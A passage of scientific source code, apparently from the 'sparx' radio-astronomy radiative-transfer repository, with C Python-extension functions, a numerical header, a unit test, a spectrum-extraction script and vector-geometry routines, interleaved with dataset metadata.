*set_prog(PyObject *self, PyObject *args)\n{\n const char *prog;\n\n if (!PyArg_ParseTuple(args, \"s\", &prog))\n return NULL;\n\n strncpy(Sp_parm.prog, prog, BUFSIZ);\n\n USEUP_SELF_ARGS();\n\n Py_RETURN_NONE;\n}\n\n/**\n ** Tasks\n **/\nstatic PyObject *task_amc(PyObject *self, PyObject *args)\n{\n int status = 0;\n\n USEUP_SELF_ARGS();\n\n status = SpTask_Amc();\n\n if(!status) Py_RETURN_NONE;\n else return NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *task_telsim(PyObject *self, PyObject *args)\n{\n int status = 0;\n\n USEUP_SELF_ARGS();\n\n status = SpTask_Telsim();\n\n if(!status) Py_RETURN_NONE;\n else return NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *task_pygrid(PyObject *self, PyObject *args)\n{\n int status = 0;\n\n USEUP_SELF_ARGS();\n\n status = SpTask_PyGrid();\n\n if(!status) Py_RETURN_NONE;\n else return NULL;\n}\n\n/**\n ** Testing\n **/\nstatic PyObject *test_fft(PyObject *self, PyObject *args)\n{\n SpTest_FFT();\n\n USEUP_SELF_ARGS();\n\n return Py_BuildValue(\"i\", 0);\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *test_planck(PyObject *self, PyObject *args)\n{\n size_t i;\n const size_t n = 100;\n double T_k, nu_min, nu_max, nu_delt, *nu_arr = 0, *planck_arr = 0;\n\n nu_arr = Mem_CALLOC(n, nu_arr);\n planck_arr = Mem_CALLOC(n, planck_arr);\n\n /* Get arguments */\n PyArg_ParseTuple(args, \"ddd\", &T_k, &nu_min, &nu_max);\n\n T_k = 8e-3; /* [K] */\n nu_min = 1e3; /* [Hz] */\n nu_max = 1e12; /* [Hz] */\n\n /* Logarithmically space frequency */\n nu_delt = (log10(nu_max) - log10(nu_min)) / (double)n;\n\n for(i = 0; i < n; i++) {\n nu_arr[i] = pow(10.0, log10(nu_min) + (double)i * nu_delt);\n planck_arr[i] = Phys_PlanckFunc(nu_arr[i], T_k);\n\n printf(\"%20.5e %20.5e\\n\", nu_arr[i], planck_arr[i]);\n }\n\n free(nu_arr);\n free(planck_arr);\n\n USEUP_SELF_ARGS();\n\n Py_RETURN_NONE;\n}\n\n/**\n ** Utilities\n **/\nstatic PyObject *load_mir_xyv(PyObject *self, PyObject *args)\n/* esc 20141012: Deprecated */\n{\n USEUP_SELF_ARGS();\n\n return Py_None;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *load_mir_xyv2(PyObject *self, PyObject *args)\n/* esc 20141012: Deprecated */\n{\n USEUP_SELF_ARGS();\n\n return Py_None;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *test_array(PyObject *self, PyObject *args)\n{\n PyObject *a;\n npy_intp dims[2];\n\n USEUP_SELF_ARGS();\n\n dims[0] = 500;\n dims[1] = 500;\n a = PyArray_ZEROS(2, dims, NPY_FLOAT, 0);\n\n return a;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *test_dumpgrid(PyObject *self, PyObject *args)\n{\n int sts = 0;\n SpModel model;\n if(!sts) sts = SpPy_GetInput_model(\"source\", &model);\n Zone_Fprintf(stdout, model.grid, NULL);\n SpModel_Cleanup(model);\n\n USEUP_SELF_ARGS();\n\n return Py_None;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int test_velocity_rays(SpModel *model);\n\nstatic PyObject *test_velocity(PyObject *self, PyObject *args)\n{\n int sts = 0;\n static struct glb {\n SpModel model;\n } glb;\n\n if(!sts) printf(\"Testing rays...\\n\");\n\n if(!sts) sts = SpPy_GetInput_model(\"source\", &glb.model);\n\n if(!sts) sts = test_velocity_rays(&glb.model);\n\n if(!sts) printf(\"Done testing rays, sts=%d\\n\", sts);\n\n SpModel_Cleanup(glb.model);\n\n Deb_Finalize();\n\n USEUP_SELF_ARGS();\n\n return Py_None;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int test_velocity_rays(SpModel *model)\n{\n int sts = 0;\n size_t plane = 0;\n double t = 0.0, vel = 0.0, vfac = 0.0;\n Zone *zp = Zone_GetMinLeaf(model->grid);\n GeRay ray = GeRay_Init(0.0, 0.0, 0.0, 1.0, 0.0, 0.0);\n SpPhys *pp = NULL;\n\n if(!sts)\n printf(\"Starting ray traversal...\\n\");\n\n while(zp && !sts) {\n GeRay_TraverseVoxel(&ray, &zp->voxel, &t, &plane);\n\n /* Propagate ray to next position */\n ray = GeRay_Inc(&ray, t);\n pp = zp->data;\n pp->width = pp->V_t;\n vfac = SpPhys_GetVfac(&ray, t, vel, zp, 0);\n\n //Print out velocity\n Deb_P(\"[debug][posn=%5zu]vfac=%16.9f\\n\", GeVec3_X(zp->index, 0)+1, vfac);\n\n /* Get next zone to traverse to */\n zp = Zone_GetNext(zp, plane, &ray);\n }\n\n if(!sts)\n printf(\"Ray traversal ended\\n\");\n\n //Zone_Fprintf(stdout, model->grid, NULL);\n Deb_Finalize();\n\n return sts;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6510663628578186, "alphanum_fraction": 0.6818720102310181, "avg_line_length": 34.16666793823242, "blob_id": "bfb867df1885676ebc2dd36472635d79c052f7ba", "content_id": "83034097aa6ca0c06ba53db3d7b729172a987572", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1688, "license_type": "no_license", "max_line_length": 88, "num_lines": 48, "path": "/src/numerical.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __NUMERICAL_H__\n#define __NUMERICAL_H__\n\n#include <gsl/gsl_rng.h>\n\n/* The numerical.c/.h interface should provide basic mathematical\n * constants and operations, such as PI, TWOPI, searching and sorting,\n * ... etc.\n */\n\n#define Num_PI 3.14159\n#define Num_TWOPI 6.28318\n#define Num_HALFPI 1.5707949999999999\n\n#define Num_MAX(a, b)\\\n\t((a) > (b) ? (a) : (b))\n\n#define Num_MIN(a, b)\\\n\t((a) < (b) ? (a) : (b))\n\n#define Num_SIGN(a)\\\n\t((a) < 0 ? -1 : 1)\n\n#define Num_ISNAN(a)\\\n\tisnan(a) /* May not be portable */\n\n#define Num_CUBE(a)\\\n\t((a) * (a) * (a))\n\nvoid *Num_Bsearch_d(double key, double *base, size_t n);\nsize_t Num_GetInterpIdx(double x, const double *xa, size_t n, size_t m);\ndouble Num_InterpLinear(double x, double x_0, double x_1, double y_0, double y_1);\ndouble Num_InterpPoly(double x, const double *xa, const double *ya, size_t n, size_t m);\ndouble Num_InterpPoly2d(double x1, double x2, const double *x1a, const double *x2a,\n\tconst double *ya, size_t n1, size_t n2, size_t m1, size_t m2);\nvoid Num_QRDecompSolve(double *A, size_t M, size_t N, const double *b, double *x);\nvoid Num_SVDecompSolve(double *A, size_t M, size_t N, const double *b, double *x);\nvoid Num_Qsort_d(double array[], size_t n);\nvoid Num_QuadraticRoots(double a, double b, double c, double *x1, double *x2);\nvoid NumFFT_Xform2d(double *arr, size_t idim, size_t jdim, double *real, double *imag);\nvoid NumFFT_Swap1d(double *arr, size_t n);\nvoid NumFFT_Swap2d(double *arr, size_t idim, size_t jdim);\ndouble Num_GaussNormal(double x, double width);\ndouble Num_GaussNormal2(double x, double width);\nvoid Num_RanDir3D(gsl_rng *rng, double *cost, double *sint, double *phi);\nint Num_nint(float x);\n\n#endif\n" }, { "alpha_fraction": 0.6180105209350586, "alphanum_fraction": 0.624034583568573, "avg_line_length": 33.06842041015625, "blob_id": "eb9418f644a24e2fba9aafff0a0328fea689ab45", "content_id": "beff58639238c38310f933084d49a43d27052462", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6474, "license_type": "no_license", "max_line_length": 128, "num_lines": 190, "path": "/src/_miriad.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <Python.h>\n#include <numpy/arrayobject.h>\n#include \"miriad-wrappers.h\"\n\n#define USEUP_SELF_ARGS()\\\n\t{self = NULL; args = NULL;}\n\n/* Function prototypes */\nPyMODINIT_FUNC init_sparx(void);\nstatic PyObject *load_mir_xyv(PyObject *self, PyObject *args);\nstatic PyObject *load_mir_xyv2(PyObject *self, PyObject *args);\n\n/* Python module method table */\nstatic PyMethodDef _SPARXMethods[] = {\n\t{\"load_mir_xyv\", load_mir_xyv, METH_VARARGS, \"Load a Miriad XYV datacube.\"},\n\t{\"load_mir_xyv2\", load_mir_xyv2, METH_VARARGS, \"Load a Miriad XYV datacube.\"},\n\t{NULL, NULL, 0, NULL} /* Sentinel */\n};\n \n/*----------------------------------------------------------------------------*/\n\nPyMODINIT_FUNC init_sparx(void)\n/* Module init function */\n{\n\tPyObject *mod;\n\n\t/* Initialize module */\n\tmod = Py_InitModule(\"sparx._sparx\", _SPARXMethods);\n\n\treturn;\n}\n\nstatic PyObject *load_mir_xyv(PyObject *self, PyObject *args)\n/* Load a Miriad XYV image data cube and return a dictionary containing\n * all headers and data */\n{\n\tint sts = 0;\n\tconst char *fname;\n\tchar *bunit = 0;\n\tMirImg_Axis x, y, v;\n\tdouble *cube = 0;\n\tPyObject *np_cube = 0, *ret = 0;\n\tsize_t i, j, k;\n\tnpy_intp dims[3];\n\n\t#define ARRAY(obj, i, j, k)\\\n\t\t(*((double *)PyWrArray_GetPtr3((obj), (i), (j), (k))))\n\n\t/* The only argument is the filename */\n\tif (!PyArg_ParseTuple(args, \"s\", &fname))\n\t\tsts = 1;\n\n\tif(!sts) {\n\t\t/* Create NumPy cubic array */\n\t\tdims[0] = x.n;\n\t\tdims[1] = y.n;\n\t\tdims[2] = v.n;\n\t\tnp_cube = PyArray_ZEROS(3, dims, NPY_FLOAT, 0);\n\n\t\t/* Load Miriad image into C data structure */\n\t\tcube = MirImg_LoadXYV(fname, &x, &y, &v, &bunit);\n\n\t\t/* Load image data into NumPy array */\n\t\tfor(i = 0; i < x.n; i++) {\n\t\t\tfor(j = 0; j < y.n; j++) {\n\t\t\t\tfor(k = 0; k < v.n; k++) {\n\t\t\t\t\tARRAY(np_cube, i, j, k) = cube[k + v.n * (j + y.n * i)];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/* Create dictionary for returning data */\n\t\tif(!(ret = PyDict_New()))\n\t\t\tsts = 1;\n\n\t\tfree(cube);\n\t}\n\n\t/* Insert np_cube into the dictionary: the DECREF afterwords is VERY IMPORTANT! \n\t Neglecting to DECREF any objects inserted into a dictionary can cause serious\n\t memory leaks! */\n\tif(!sts) sts = PyDict_SetItemString(ret, \"cube\", np_cube); Py_DECREF(np_cube);\n\n\t/* Insert non-Python values into dictionary */\n\tif(!sts) sts = PyDict_SetItemString(ret, \"bunit\", Py_BuildValue(\"s\", bunit));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcrpix\", Py_BuildValue(\"d\", x.crpix));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcrval\", Py_BuildValue(\"d\", x.crval));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcdelt\", Py_BuildValue(\"d\", x.delt));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcsize\", Py_BuildValue(\"k\", (unsigned long)x.n));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycrpix\", Py_BuildValue(\"d\", y.crpix));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycrval\", Py_BuildValue(\"d\", y.crval));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycdelt\", Py_BuildValue(\"d\", y.delt));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycsize\", Py_BuildValue(\"k\", (unsigned long)y.n));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcrpix\", Py_BuildValue(\"d\", v.crpix));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcrval\", Py_BuildValue(\"d\", v.crval));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcdelt\", Py_BuildValue(\"d\", v.delt));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcsize\", Py_BuildValue(\"k\", (unsigned long)v.n));\n\n\t/* Cleanup */\n\tif(bunit) free(bunit);\n\n\tUSEUP_SELF_ARGS();\n\n\treturn ret;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic PyObject *load_mir_xyv2(PyObject *self, PyObject *args)\n/* Load a Miriad XYV image data cube and return a dictionary containing\n * all headers and data */\n{\n\tint sts = 0;\n\tconst char *fname;\n\tchar *bunit = 0;\n\tMirImg_Axis x, y, v;\n\tdouble *cube = 0;\n\tPyObject *np_cube = 0, *numpy = 0, *numpy_zeros = 0, *numpy_float = 0, *ret = 0;\n\tchar format[BUFSIZ];\n\tsize_t i, j, k;\n\n\t#define ARRAY(obj, i, j, k)\\\n\t\t(*((double *)PyWrArray_GetPtr3((obj), (i), (j), (k))))\n\n\t/* The only argument is the filename */\n\tif (!PyArg_ParseTuple(args, \"s\", &fname))\n\t\tsts = 1;\n\n\tif(!sts && !(numpy = PyImport_ImportModule(\"numpy\")))\n\t\tsts = 1;\n\n\tif(!sts && !(numpy_zeros = PyObject_GetAttrString(numpy, \"zeros\")))\n\t\tsts = 1;\n\n\tif(!sts && !(numpy_float = PyObject_GetAttrString(numpy, \"float\")))\n\t\tsts = 1;\n\n\tif(!sts) {\n\t\t/* Load Miriad image into C data structure */\n\t\tcube = MirImg_LoadXYV(fname, &x, &y, &v, &bunit);\n\n\t\t/* Create NumPy cubic array */\n\t\tsnprintf(format, BUFSIZ, \"(k,k,k),O\");\n\t\tnp_cube = PyObject_CallFunction(numpy_zeros, format, (unsigned long)x.n, (unsigned long)y.n, (unsigned long)v.n, numpy_float);\n\n\t\t/* Load image data into NumPy array */\n\t\tfor(i = 0; i < x.n; i++) {\n\t\t\tfor(j = 0; j < y.n; j++) {\n\t\t\t\tfor(k = 0; k < v.n; k++) {\n\t\t\t\t\tARRAY(np_cube, i, j, k) = cube[k + v.n * (j + y.n * i)];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/* Create dictionary for returning data */\n\t\tif(!(ret = PyDict_New()))\n\t\t\tsts = 1;\n\t}\n\n\t/* Insert np_cube into the dictionary: the DECREF afterwords is VERY IMPORTANT! \n\t Neglecting to DECREF any objects inserted into a dictionary can cause serious\n\t memory leaks! */\n\tif(!sts) sts = PyDict_SetItemString(ret, \"cube\", np_cube); Py_DECREF(np_cube);\n\n\t/* Insert non-Python values into dictionary */\n\tif(!sts) sts = PyDict_SetItemString(ret, \"bunit\", Py_BuildValue(\"s\", bunit));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcrpix\", Py_BuildValue(\"d\", x.crpix));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcrval\", Py_BuildValue(\"d\", x.crval));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcdelt\", Py_BuildValue(\"d\", x.delt));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"xcsize\", Py_BuildValue(\"k\", (unsigned long)x.n));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycrpix\", Py_BuildValue(\"d\", y.crpix));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycrval\", Py_BuildValue(\"d\", y.crval));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycdelt\", Py_BuildValue(\"d\", y.delt));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"ycsize\", Py_BuildValue(\"k\", (unsigned long)y.n));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcrpix\", Py_BuildValue(\"d\", v.crpix));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcrval\", Py_BuildValue(\"d\", v.crval));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcdelt\", Py_BuildValue(\"d\", v.delt));\n\tif(!sts) sts = PyDict_SetItemString(ret, \"vcsize\", Py_BuildValue(\"k\", (unsigned long)v.n));\n\n\t/* Cleanup */\n\tif(cube) free(cube);\n\tif(bunit) free(bunit);\n\tPy_XDECREF(numpy_float);\n\tPy_XDECREF(numpy_zeros);\n\tPy_XDECREF(numpy);\n\n\tUSEUP_SELF_ARGS();\n\n\treturn ret;\n}\n\n" }, { "alpha_fraction": 0.6256157755851746, "alphanum_fraction": 0.6272578239440918, "avg_line_length": 37.0625, "blob_id": "cf7b56b0708ef97ceb688fe0c5b63e7ffc643d35", "content_id": "624c20874a27860db2f3dc82c080dfd6f2c7afc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 609, "license_type": "no_license", "max_line_length": 87, "num_lines": 16, "path": "/unit/test_ratran.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "from sparx.regtest import UnitTestCase, use_rundir\n\nfrom os.path import dirname, basename, join\ndatadir = join(dirname(__file__), \".\".join(basename(__file__).split(\".\")[:-1])+\"_data\")\n\nclass RatranTest(UnitTestCase):\n @use_rundir\n def test_amcpops(self):\n from sparx.ratran import AmcPops\n import filecmp, shutil\n pops = AmcPops(join(datadir, \"example.pop\"))\n with open(\"pops.out\", \"w\") as f:\n f.write(repr(pops)+\"\\n\")\n shutil.copyfile(join(datadir, \"golden.out\"), \"golden.out\")\n self.assertTrue(filecmp.cmp(\"pops.out\", \"golden.out\"))\n return\n" }, { "alpha_fraction": 0.6768072247505188, "alphanum_fraction": 0.6825301051139832, "avg_line_length": 23.04347801208496, "blob_id": "b6ad6e76594f6faed189b7c88280256ab990b7b7", "content_id": "fc3fbf00b76f230f5f2dab4d1d85c19c07903c9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3320, "license_type": "no_license", "max_line_length": 108, "num_lines": 138, "path": "/bin/sparx-get-statistics-mirimage", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n# Given a set of miriad images in the positional arguments,\n# collect the spectrum at the central pixel of the image\n# and record the data in a csv file, with each column\n# representing the velocity, and each row representing\n# the spectrum of each image.\n\n# Setup parser\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"MIR_IMAGE\", help=\"Miriad images\", nargs=\"+\")\nparser.add_argument(\"-o\", metavar=\"CSV_FILE\", default=\"spec_data.csv\", help=\"Output file\")\ngroup = parser.add_mutually_exclusive_group()\ngroup.add_argument(\"-b\", metavar=\"BASELINE_LEVEL\", default=None, help=\"Subtrct baseline level (in Jy)\")\ngroup.add_argument(\"-B\", metavar=\"BASELINE_CHANNEL\", default=None, help=\"Subtrct baseline level at channel\")\n\n# Parse arguments\nargs = parser.parse_args()\n\nclass TokenPool:\n\t'''\n\tA pool of tokens for controlling access to limited resources,\n\tsuch as CPU cores.\n\t'''\n\tdef __init__(self, ntoken):\n\t\tfrom threading import Lock\n\t\t# The token pool is just a list treated as a stack\n\t\tself.ntoken = ntoken\n\t\tself.pool = [i for i in range(ntoken)]\n\t\tself.lock = Lock()\n\n\tdef acquire(self):\n\t\timport time\n\t\tt = None\n\t\twhile t is None:\n\t\t\ttry:\n\t\t\t\tself.lock.acquire()\n\t\t\t\tt = self.pool.pop()\n\t\t\texcept IndexError:\n\t\t\t\tpass\n\t\t\tfinally:\n\t\t\t\tself.lock.release()\n\t\t\ttime.sleep(0.1)\n\t\treturn t\n\n\tdef release(self, t):\n\t\tself.lock.acquire()\n\t\tself.pool.append(t)\n\t\tself.lock.release()\n\t\treturn\n\nclass TokenPool2:\n\tdef __init__(self, n):\n\t\tfrom multiprocessing import Queue\n\t\tself.pool = Queue()\n\t\tfor i in range(n):\n\t\t\tself.pool.put(i)\n\t\treturn\n\n\tdef acquire(self):\n\t\treturn self.pool.get()\n\n\tdef release(self, token):\n\t\tself.pool.put(token)\n\t\treturn\n\n# Gather statistics from images\nimport threading\nfrom multiprocessing import Process, Queue\nfrom sparx import miriad\nfrom matplotlib import pyplot as pl\n\n# Initialize token pool and results queue\ntp = TokenPool2(8)\nresultQ = Queue()\n\n# The worker extracts the spectrum at the center of the image\ndef worker(tp, resultQ, idx, t, image):\n\tprint \"Worker %d running with token %d (%s)...\" % (idx, t, image)\n\tspec = miriad.MirXYV(imgf).GetSpecOffASec(0,0)\n\tif args.b:\n\t\tbaseline = float(args.b)\n\telif args.B:\n\t\tbaseline = spec[int(args.B)]\n\telse:\n\t\tbaseline = 0.0\n\tprint \"baseline=%g\" % baseline\n\tspec = spec - baseline\n\tresultQ.put((idx, spec))\n\ttp.release(t)\n\treturn\n\nprint \"Launching workers...\"\n\n# Launch workers\nidx=0\nprocs = []\nfor imgf in sorted(args.MIR_IMAGE):\n\tt = tp.acquire()\n\tproc = Process(target=worker, args=(tp, resultQ, idx, t, imgf))\n\tprocs.append(proc)\n\tproc.start()\n\tidx += 1\n\nfor p in procs:\n\tp.join()\n\nprint \"Collecting results...\"\n\n# Collect and sort results\nresults = []\nwhile True:\n\tif resultQ.empty():\n\t\tbreak\n\trslt = resultQ.get()\n\tresults.append(rslt)\n\nprint \"Writing results to file...\"\n\n# Write results to file and plot\nfo = open(args.o, \"w\")\nv_list = miriad.MirXYV(args.MIR_IMAGE[0]).v_list\nhdr = [\"V%.5f\" % (i/1e3) for i in v_list]\nfo.write((\"%s,\" % \"exp\") + \",\".join(hdr)+\"\\n\")\nfor rslt in sorted(results):\n\tpl.plot(v_list, rslt[1])\n\tfo.write((\"%d,\" % rslt[0])+\",\".join([\"%.7e\" % flux for flux in rslt[1]])+\"\\n\")\n\t\nfo.close()\nprint \"Wrote to file '%s'\" % args.o\n\npl.xlabel(\"Velocity (km/s)\")\npl.ylabel(\"Flux (Jy)\")\npl.savefig(args.o+\".png\")\nprint \"Saved plot as '%s'\" % args.o+\".png\"\n\nprint \"Done!\"\n\n\n" }, { "alpha_fraction": 0.45414066314697266, "alphanum_fraction": 0.48790407180786133, "avg_line_length": 21.489748001098633, "blob_id": "bb2e62725cce088145d5ff514a0dc5debaa6050c", "content_id": "1694b96d49e8a2d8ebf59ad37bc622dbf6bab786", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 28522, "license_type": "no_license", "max_line_length": 104, "num_lines": 1268, "path": "/src/geometry.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <math.h>\n#include <assert.h>\n#include <float.h>\n#include <gsl/gsl_rng.h>\n\n#include \"memory.h\"\n#include \"debug.h\"\n#include \"cpgplot-wrappers.h\"\n#include \"numerical.h\"\n#include \"geometry.h\"\n\nDatINode GEOM_TYPES[] = {\n\t{\"sph1d\", GEOM_SPH1D},\n\t{\"rec3d\", GEOM_REC3D},\n\t{0, 0}\n};\n\nDatINode *GEOM_TYPESP = GEOM_TYPES;\n\nstatic void GeVox_Cpgplot_sph1d(const GeVox *voxel);\nstatic void GeVox_Cpgplot_rec(const GeVox *voxel, const GeCam *cam);\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Ge_PosToIelem(size_t i, size_t j, size_t k, const GeVec3_s *naxes)\n{\n \tsize_t ielem = 0;\n\n\tielem = (k) + GeVec3_X(*naxes, 2) * ((j) + GeVec3_X(*naxes, 1) * (i));\n\n\treturn ielem;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_s Ge_IelemToIndex(size_t ielem, const GeVec3_s *naxes)\n{\n\tsize_t i;\n\tGeVec3_s idx;\n\n\tfor(i = 0; i < 3; i++) {\n\t\tGeVec3_X(idx, 2 - i) = ielem % GeVec3_X(*naxes, 2 - i);\n\t\tielem = ielem / GeVec3_X(*naxes, 2 - i);\n\t}\n\n\treturn idx;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Ge_IndexToIelem(const GeVec3_s *idx, const GeVec3_s *naxes)\n{\n\tsize_t i, ielem = 0;\n\n\tfor(i = 0; i < 3; i++) {\n\t\tielem = i == 0 ? GeVec3_X(*idx, i) : ielem * GeVec3_X(*naxes, i) + GeVec3_X(*idx, i);\n\t}\n\n\treturn ielem;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVox GeVox_GetSubVox(const GeVox *voxel, const GeVec3_s *idx, const GeVec3_s *naxes)\n{\n\tsize_t i;\n\tdouble delta;\n\tGeVox subvox;\n\n\tfor(i = 0; i < 3; i++) {\n\t\t/* Remember to update these if the GeVox struct changes!!! */\n\t\tsubvox.geom = voxel->geom;\n\t\tdelta = subvox.delta.x[i] = voxel->delta.x[i] / (double)naxes->x[i];\n\t\tsubvox.min.x[i] = voxel->min.x[i] + (double)idx->x[i] * delta;\n\t\tsubvox.max.x[i] = voxel->min.x[i] + (double)(idx->x[i] + 1) * delta;\n\t\tsubvox.cen.x[i] = subvox.min.x[i] + 0.5 * delta; /* This is only valid if the gridding is uniform */\n\t}\n\n\treturn subvox;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeCam GeCam_Init(double phix, double phiy, double phiz)\n/* Set plot bounds according to voxel and rotation for camera */\n{\n\tGeCam cam = GeCam_INIT(phix, phiy, phiz);\n\n\treturn cam;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Rotate(const GeVec3_d *vec, const GeCam *cam)\n{\n\tGeVec3_d result;\n\n\tresult = *vec;\n\tresult = GeVec3_Rotate_x(&result, GeVec3_X(cam->phi, 0));\n\tresult = GeVec3_Rotate_y(&result, GeVec3_X(cam->phi, 1));\n\tresult = GeVec3_Rotate_z(&result, GeVec3_X(cam->phi, 2));\n\n\treturn result;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_d_Init(double x, double y, double z)\n{\n\tGeVec3_d vec = GeVec3_INIT(x, y, z);\n\n\treturn vec;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_s GeVec3_s_Init(size_t x, size_t y, size_t z)\n{\n\tGeVec3_s vec = GeVec3_INIT(x, y, z);\n\n\treturn vec;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble GeVec3_Mag(const GeVec3_d *a)\n/* Calculate the magnitude of <a> = |<a>| */\n{\n\tsize_t i;\n\tdouble mag = 0;\n\n\tfor(i = 0; i < 3; i++) {\n\t\tmag += pow(GeVec3_X(*a, i), 2.0);\n\t}\n\n\treturn sqrt(mag);\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble GeVec3_Mag2(const GeVec3_d *a, const GeVec3_d *b)\n/* Calculate the magnitude of <b> - <a> = |<b> - <a>| */\n{\n\tGeVec3_d c;\n\n\tc = GeVec3_Sub(a, b);\n\n\treturn GeVec3_Mag(&c);\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Add(const GeVec3_d *a, const GeVec3_d *b)\n/* Calculate the result of <c> = <a> + <b> */\n{\n\tsize_t i;\n\tGeVec3_d c = GeVec3_INIT(0,0,0);\n\n\tfor(i = 0; i < 3; i++)\n\t\tc.x[i] = a->x[i] + b->x[i];\n\t\n\treturn c;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Sub(const GeVec3_d *a, const GeVec3_d *b)\n/* Calculate the result of <c> = <b> - <a> */\n{\n\tsize_t i;\n\tGeVec3_d c;\n\n\tfor(i = 0; i < 3; i++)\n\t\tc.x[i] = b->x[i] - a->x[i];\n\t\n\treturn c;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Normalize(const GeVec3_d *a)\n/* Normalize <a> */\n{\n GeVec3_d b;\n double mag = GeVec3_Mag(a);\n size_t i;\n\n if (mag > 0.0) {\n for(i = 0; i < 3; i++) {\n GeVec3_X(b, i) = GeVec3_X(*a, i) / mag;\n }\n }\n else {\n for(i = 0; i < 3; i++) {\n GeVec3_X(b, i) = 0.0;\n }\n }\n\n return b;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_Scale(const GeVec3_d *a, double fac)\n/* Scale <a> by fac, i.e. <b> = fac * <a> */\n{\n\tsize_t i;\n\tGeVec3_d b;\n\n\tMem_BZERO(&b);\n\n\tfor(i = 0; i < 3; i++) {\n\t\tGeVec3_X(b, i) = fac * GeVec3_X(*a, i);\n\t}\n\n\treturn b;\n}\n\n/*----------------------------------------------------------------------------*/\n\nGeVec3_d GeVec3_InterpLinear(const GeVec3_d *xa, const GeVec3_d *xb, const GeVec3_d *a, \n\tconst GeVec3_d *b, const GeVec3_d *pos)\n/* Interpolate linearly between <a> and <b>, i.e. infer value at pos on each\n * axis according to\n * \tresult_i = a_i + m_i * (pos_i - xa_i)\n *\n * \tand\n *\n * \tm_i = (b_i - a_i) / (xb_i - xa_i) -- if |xb_i - xa_i| > 0\n * \t = 0 -- otherwise\n *\n * \twhere origin_i = ith component of origin\n * \t b_i and a_i = ith component of <a> and <b>\n * \t xa_i and xb_i = ith component of positions of <a> and <b>\n * \t pos_i = ith component of interpolation position\n */\n{\n\tsize_t i;\n\tdouble m, delta_x;\n\t//const double *xav = xa->x, *xbv = xb->x, *av = a->x, *bv = b->x, *posv = pos->x;\n\tGeVec3_d result;\n\n\tfor(i = 0; i < 3; i++) {\n\t\t/* Calculate delta_x */\n\t\tdelta_x = (GeVec3_X(*xb, i) - GeVec3_X(*xa, i));\n\t\t//delta_x = xbv[i] - xav[i];\n\n\t\t/* Calculate slope */\n\t\tm = fabs(delta_x) > 0 ? (GeVec3_X(*b, i) - GeVec3_X(*a, i)) / delta_x : 0;\n\t\t//m = fabs(delta_x) > 0 ? (bv[i] - av[i]) / delta_x : 0;\n\n\t\t/* Calculate linearly interpolated value */\n\t\tGeVec3_X(result, i) = GeVec3_X(*a, i) + m * (GeVec3_X(*pos, i) - GeVec3_X(*xa, i));\n\t\t//GeVec3_X(result, i) = av[i] + m * (posv[i] - xav[i]);\n\t}\n\n\treturn 